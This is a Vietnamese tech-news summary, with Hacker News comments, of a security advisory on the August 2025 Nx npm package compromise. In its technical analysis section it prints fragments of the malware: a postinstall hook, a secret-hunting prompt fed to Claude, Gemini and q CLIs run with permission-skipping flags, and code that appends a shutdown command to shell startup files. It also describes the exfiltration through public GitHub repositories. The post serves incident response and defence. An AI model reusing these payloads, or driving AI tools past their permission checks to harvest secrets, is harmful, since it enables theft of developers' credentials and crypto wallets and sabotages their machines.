5 điểm bởi GN⁺ 2025-08-28 | 1 bình luận | Chia sẻ qua WhatsApp
  • Nhiều phiên bản của hệ thống build Nx đã bị nhiễm mã độc trong khoảng 5 giờ vào ngày 26 tháng 8 năm 2025, đánh cắp ví tiền mã hóa và thông tin xác thực của các nhà phát triển
  • Cuộc tấn công đã lạm dụng các công cụ AI CLI (Claude, Gemini, q) để thăm dò các tệp nhạy cảm trong hệ thống, được ghi nhận là một kỹ thuật mới trong các cuộc tấn công chuỗi cung ứng
  • Mã độc thực thi telemetry.js thông qua hook post-install, rồi tải dữ liệu lên kho GitHub s1ngularity-repository
  • npm đã gỡ bỏ các phiên bản bị xâm phạm và tăng cường bảo mật bằng cách áp dụng 2FA cùng cơ chế Trusted Publisher
  • Sự cố này cho thấy mức độ tinh vi ngày càng cao của các cuộc tấn công chuỗi cung ứng, đồng thời nhấn mạnh nhu cầu phản ứng ngay lập tức và rà soát bảo mật trong cộng đồng nhà phát triển

Tóm tắt chính

  • Từ 22:32 UTC ngày 26 tháng 8 năm 2025, trong khoảng 5 giờ, gói hệ thống build Nx đã bị xâm phạm bởi mã độc đánh cắp dữ liệu
    • Đây là gói phổ biến với 4 triệu lượt tải mỗi tuần, khiến hàng nghìn nhà phát triển có nguy cơ bị ảnh hưởng
  • Mã độc không chỉ đánh cắp khóa SSH, token npm, .gitconfig mà còn dùng các công cụ AI CLI (Claude, Gemini, q) để do thám và lấy cắp dữ liệu
    • Đây là trường hợp tấn công chuỗi cung ứng đầu tiên được biết đến có lạm dụng công cụ AI dành cho nhà phát triển
  • Nhóm duy trì Nx đã công bố cảnh báo bảo mật chính thức (GHSA-cxm3-wv7p-598c), xác nhận tài khoản npm của maintainer đã bị xâm phạm do lộ token
  • StepSecurity sẽ tổ chức community office hour vào lúc 09:30 PST ngày 28 tháng 8 để hỗ trợ khôi phục

Dòng thời gian sự cố

  • 2025-08-26 22:32 UTC: phiên bản độc hại 21.5.0 được đăng lên npm registry
  • 22:39 UTC: phát hành phiên bản bị xâm phạm 20.9.0
  • 23:54 UTC: đồng thời phát hành phiên bản 20.10.0 và 21.6.0
  • 2025-08-27 00:16 UTC: phát hành phiên bản 20.11.0
  • 00:17 UTC: phát hành phiên bản 21.7.0
  • 00:30 UTC: một thành viên cộng đồng báo cáo hoạt động đáng ngờ qua GitHub issue
  • 00:37 UTC: phát hành các phiên bản bị xâm phạm cuối cùng 21.8.0, 20.12.0
  • 02:44 UTC: npm gỡ bỏ toàn bộ các phiên bản bị xâm phạm
  • 03:52 UTC: chủ sở hữu tổ chức Nx thu hồi quyền truy cập của tài khoản bị xâm phạm
  • 09:05 UTC: GitHub chuyển các kho chứa bí mật bị đánh cắp sang chế độ riêng tư và loại khỏi kết quả tìm kiếm
  • 10:20 UTC: npm gỡ thêm các gói bị xâm phạm
  • 15:57 UTC: npm bắt buộc 2FA với các gói Nx, vô hiệu hóa publish bằng token và áp dụng cơ chế Trusted Publisher

Phân tích kỹ thuật

Vector tấn công

  • Gói Nx thực thi telemetry.js qua hook post-install, khiến mã độc chạy ngay sau khi cài đặt
    • Ví dụ package JSON:
      {  
        "name": "nx",  
        "version": "21.5.0",  
        "scripts": {  
          "postinstall": "node telemetry.js"  
        }  
      }  
      
  • Các phiên bản bị xâm phạm được publish trực tiếp lên npm, phân phối không có chứng thực nguồn gốc

Payload telemetry.js

  • telemetry.js chạy trên các hệ không phải Windows (Linux/macOS):
    if (process.platform === 'win32') process.exit(0);  
    
  • Các hành vi độc hại chính:
    • Thu thập thông tin hệ thống: biến môi trường (process.env), hostname, chi tiết hệ điều hành
    • Tìm kiếm ví tiền mã hóa: MetaMask, Electrum, Ledger, Trezor, Exodus, Phantom, Solflare v.v.
    • Đánh cắp thông tin xác thực phát triển: GitHub token, npm token (.npmrc), khóa SSH (id_rsa), tệp .env

Lạm dụng AI CLI

  • Mã độc lạm dụng các công cụ CLI Claude, Gemini, q để vượt qua ranh giới bảo mật
    • Dùng các cờ nguy hiểm (--dangerously-skip-permissions, --yolo, --trust-all-tools) để ép quét toàn bộ hệ thống tệp
    • Prompt:
      const PROMPT = 'Recursively search local paths ...   
      (UTC--, keystore, wallet, *.key, *.keyfile, .env, metamask, electrum,   
      ledger, trezor, exodus, trust, phantom, solflare, keystore.json,   
      secrets.json, .secret, id_rsa, Local Storage, IndexedDB) ...';  
      
  • Các đường dẫn tệp được tìm thấy được lưu vào /tmp/inventory.txt, còn tệp cũ được sao lưu thành .bak
  • Việc lạm dụng công cụ AI giúp giảm thiểu mã có thể bị fingerprint, từ đó né tránh phát hiện của các công cụ bảo mật hiện có

Cơ chế đánh cắp dữ liệu

  • Dữ liệu bị đánh cắp được mã hóa base64 ba lần rồi tải lên tệp results.b64 trong s1ngularity-repository
    • Kho này được tạo ở chế độ public bằng GitHub token
    • Ví dụ:
      cat results.b64 | base64 -d | base64 -d | grep ghToken  
      "ghToken": "ghp_7BWMpOAHSSq..."  
      
  • Đã có hàng nghìn kho public được tạo ra: https://github.com/search/…

Duy trì hiện diện và phá hoại

  • Thêm sudo shutdown -h 0 vào ~/.bashrc, ~/.zshrc để kích hoạt tắt máy khi mở phiên terminal mới
    • Gây ra trạng thái từ chối dịch vụ
    • Mã:
      const line = 'sudo shutdown -h 0';  
      fs.appendFileSync(p, prefix + line + '\n', { encoding: 'utf8' });  
      

Phân tích runtime bằng Harden-Runner

  • Harden-Runner của StepSecurity đã phát hiện hành vi bất thường của nx@21.7.0 trong workflow GitHub Actions
    • Lệnh gọi API bất thường: truy cập trái phép tới api.github.com trong quá trình cài đặt
    • Phân tích cây tiến trình: npm install (PID: 2596) chạy telemetry.js (PID: 2610), rồi gọi gh auth token
  • Link phân tích: https://app.stepsecurity.io/github/actions-security-demo/…

Các phiên bản gói bị xâm phạm

  • @nx: 20.9.0, 20.10.0, 20.11.0, 20.12.0, 21.5.0, 21.6.0, 21.7.0, 21.8.0
  • @nx/devkit: 20.9.0, 21.5.0
  • @nx/enterprise-cloud: 3.2.0
  • @nx/eslint: 21.5.0
  • @nx/js: 20.9.0, 21.5.0
  • @nx/key: 3.2.0
  • @nx/node: 20.9.0, 21.5.0
  • @nx/workspace: 20.9.0, 21.5.0

Biện pháp ứng phó

Kiểm tra phiên bản gói

  • Dùng npm ls @nrwl/nx hoặc npm ls nx để kiểm tra phiên bản đã cài
  • Kiểm tra các gói liên quan đến Nx trong package-lock.json
  • Truy vấn tìm kiếm GitHub: https://github.com/search/…

Kiểm tra tài khoản GitHub

Kiểm tra công cụ AI CLI

  • Xem lịch sử lệnh của Claude, Gemini, q để tìm các cờ nguy hiểm

Biện pháp khôi phục

  • Xóa node_modules: rm -rf node_modules
  • Dọn cache npm: npm cache clean --force
  • Xóa lệnh shell độc hại: gỡ sudo shutdown -h 0 khỏi ~/.bashrc, ~/.zshrc
  • Xóa /tmp/inventory.txt, /tmp/inventory.txt.bak
  • Cập nhật package-lock.json lên phiên bản an toàn, rồi cài lại dependencies
  • Cân nhắc cài đặt lại toàn bộ hệ thống

Xoay vòng thông tin xác thực

  • Xoay vòng ngay lập tức: GitHub PAT, npm token, khóa SSH, API key trong .env, API key của Claude/Gemini/q
  • Nếu ví tiền mã hóa đã bị lộ, hãy chuyển tài sản ngay lập tức

Vấn đề với extension Nx Console

Hành động dành cho khách hàng StepSecurity Enterprise

Hàm ý rộng hơn

  • Vũ khí hóa công cụ AI: lạm dụng AI CLI cục bộ để vượt qua ranh giới bảo mật
  • Đánh cắp nhiều giai đoạn: kết hợp thu thập dữ liệu cục bộ với exfiltration dựa trên đám mây
  • Nhắm vào tài sản giá trị cao: tập trung tấn công vào thông tin xác thực của nhà phát triển và ví tiền mã hóa

Kết luận

  • Sự cố xâm phạm gói Nx cho thấy sự tiến hóa tinh vi của tấn công chuỗi cung ứng, với việc lạm dụng công cụ AI và nhắm tới tiền mã hóa để tối đa hóa tác động
  • Nhà phát triển cần ứng phó bằng kiểm toán dependency, tăng cường kiểm soát bảo mật và giám sát liên tục
  • Blog của StepSecurity sẽ tiếp tục cung cấp các cập nhật

Tài liệu tham khảo

1 bình luận

 
GN⁺ 2025-08-28
Ý kiến trên Hacker News
  • Đã chuyển phần bình luận sang đây, có vẻ bên đó được đăng trước và cũng có chứa URL chính thức của dự án Nx
    Tôi cũng đã ghim hai bài blog mà mọi người đang dẫn ở phía trên để ai muốn thì có thể đọc
    Sẽ đẩy lại bài để đưa nó tới vị trí tương tự trên trang chủ như luồng này
    Có thể xem hồ sơ liên quan đến múi giờ ở đây, có vẻ người gửi đầu tiên đúng là longcat
    Tôi hiểu việc một bài đang nổi bỗng chốc bị hạ xuống là điều đáng tiếc, nhưng đã có ý kiến khác nhau về URL nào là phù hợp nhất nên tôi ưu tiên nguồn chính thức, và cho rằng ghi nhận công cho người gửi đầu tiên là cách an toàn nhất

  • "Đang dùng phiên bản nx bị nhiễm à? Hãy chạy semgrep --config [...] thử xem. Hoặc chạy nx –version cũng là một cách khác"
    Có vẻ chúng ta vẫn chưa nhận ra rằng không nên cứ thế tin những lời khuyên bảo mật kiểu này, nhìn số điểm bài này đã nhận là đủ thấy
    Đặc biệt là không nên tin các "cố vấn bảo mật" xóa nguyên hướng dẫn gốc rồi thay bằng cách dùng công cụ của riêng họ
    Khuyến cáo bảo mật chính thức ở đây, và không chỗ nào nói phải chạy chương trình bị nhiễm để xác định xem có bị nhiễm hay không
    Cũng không có chỗ nào trong tài liệu chính thức bảo phải chạy semgrep

    • Tôi là tác giả bài blog
      Đây là góp ý rất đúng
      Theo những gì đã xác minh đến nay, bản thân nx --version là an toàn, vì lỗ hổng này chỉ giới hạn ở script post-install
      Vì vậy tôi đã cập nhật khuyến nghị trong bài viết
      Tôi đã tổng hợp danh sách phiên bản trong khuyến cáo bảo mật của GitHub thành một rule Semgrep và phát hành theo giấy phép MIT: semgrep.dev/c/r/oqUk5lJ/semgrep.ssc-mal-resp-2025-08-nx-build-compromised
      Trong những môi trường có thể dùng được, nó tiện cho việc kiểm tra nhiều package cùng lúc
      Trong kho nội bộ, chúng tôi đều kiểm tra bằng rule này
      Tôi cũng đã bổ sung rằng bài blog dùng giấy phép MIT, và bản thân Semgrep là LGPL, nên có thể tải rule bằng curl và chạy cục bộ với semgrep --config=rule.yaml: https://github.com/returntocorp/semgrep

    • Cụ thể thì "hành động như vậy" nghĩa là gì? Tôi đang thắc mắc có phải là nói tới việc tự chạy chương trình không

    • Cảm giác kiểu "muốn biết có bị nhiễm không thì hãy chạy chương trình đã bị nhiễm... như vậy là chắc chắn bị nhiễm"

    • Bài blog đọc cứ như một bản tự thú nên thấy khá lạ

  • Công ty này trông có gì đó khác thường
    https://semgrep.dev/solutions/secure-vibe-coding/
    Nếu phát triển phần mềm biến thành như bản demo ở đây

      - 내가 작성한 코드에 취약점이 있을까?
      - 이 코드는 무슨 일을 하는 코드인가?
    

    thì tôi cũng muốn chuyển sang tự canh tác tự cấp tự túc rồi chờ văn minh sụp đổ

    • Tôi tôn trọng nông nghiệp tự cấp tự túc, nhưng công nghệ số đã được bootstrap đủ sâu rồi
      Kể cả khi nền tảng công nghiệp toàn cầu sụp đổ hoàn toàn, thế kỷ tới vẫn sẽ được quyết định bởi ai tận dụng máy tính giỏi hơn
      Sẽ tới thời người ta nhặt smartphone bỏ đi để tự động hóa lại từ nông nghiệp, sản xuất cho tới chiến tranh bằng drone
      AI dựa trên LLM cũng đã ăn sâu đủ mức và có lẽ vẫn sẽ tiếp tục tồn tại
      Cũng có thể hình dung cảnh từng bộ lạc chạy ollama, aider/void trên laptop dùng năng lượng mặt trời trong những tòa nhà đổ nát một nửa

    • Có thể là mồi nhử, nhưng trong bản demo hàm is_prime hoạt động khác với tên hàm của nó

    • Ngay hôm nay bạn có thể chơi Stardew Valley, hoặc tự lập trình một bản clone Harvest Moon để trải nghiệm trước kiểu cuộc sống đó

  • @dang, bài blog cũng hữu ích nhưng issue GitHub này có vẻ rõ ràng hơn nhiều và đưa ra cách khắc phục thực tế hơn
    Không biết có thể đổi liên kết sang bên này được không

    • otterly và Hilift đã tìm ra phần bao quát tốt hơn trang semgrep

    • (Luồng này đã được tách từ đây)
      Tôi đã tìm thấy bài gửi đầu tiên về issue đó (ở đây), và vì đó là URL GitHub nên tôi đã gộp luồng sang đó
      Giải thích chi tiết ở đây

  • Bài của Semgrep này mô tả hoàn toàn khác với những gì Nx tự báo cáo
    Có cảm giác kẻ tấn công đã chỉnh sửa payload theo thời gian thực qua nhiều lần phát hành, và còn chuẩn bị cho nhiều đợt tấn công hơn
    Dù vậy tôi vẫn thắc mắc tại sao payload chỉ gửi đường dẫn file về máy chủ mà không gửi nội dung file thực tế
    Điều đó khiến tôi nghĩ tới việc vì sao toàn bộ cuộc tấn công không được hoàn thiện từ trước khi phát hành: chỉ là thu thập thông tin, PoC, hay do còn non tay
    Xem khuyến cáo bảo mật liên quan

    • Trông như sản phẩm của ai đó cố tình tạo hỗn loạn
      Và có vẻ họ còn dùng AI để biến nó thành chủ đề bàn tán và thu hút chú ý
      Nhất là khi xét đến những thứ như sửa .bashrc để ép hệ thống tắt máy, cảm giác như họ muốn gây ồn ào có chủ đích nhưng lại không muốn phá hoại quá lớn
  • Bài này tổng hợp tốt hơn Semgrep nhiều: blog của stepsecurity.io

    • Cảm ơn
      Tôi đã đăng nó ở đây từ 9 tiếng trước khi bài này được đăng
      Sẽ rất tốt nếu HN admin có thể đổi liên kết của câu chuyện này sang bên đó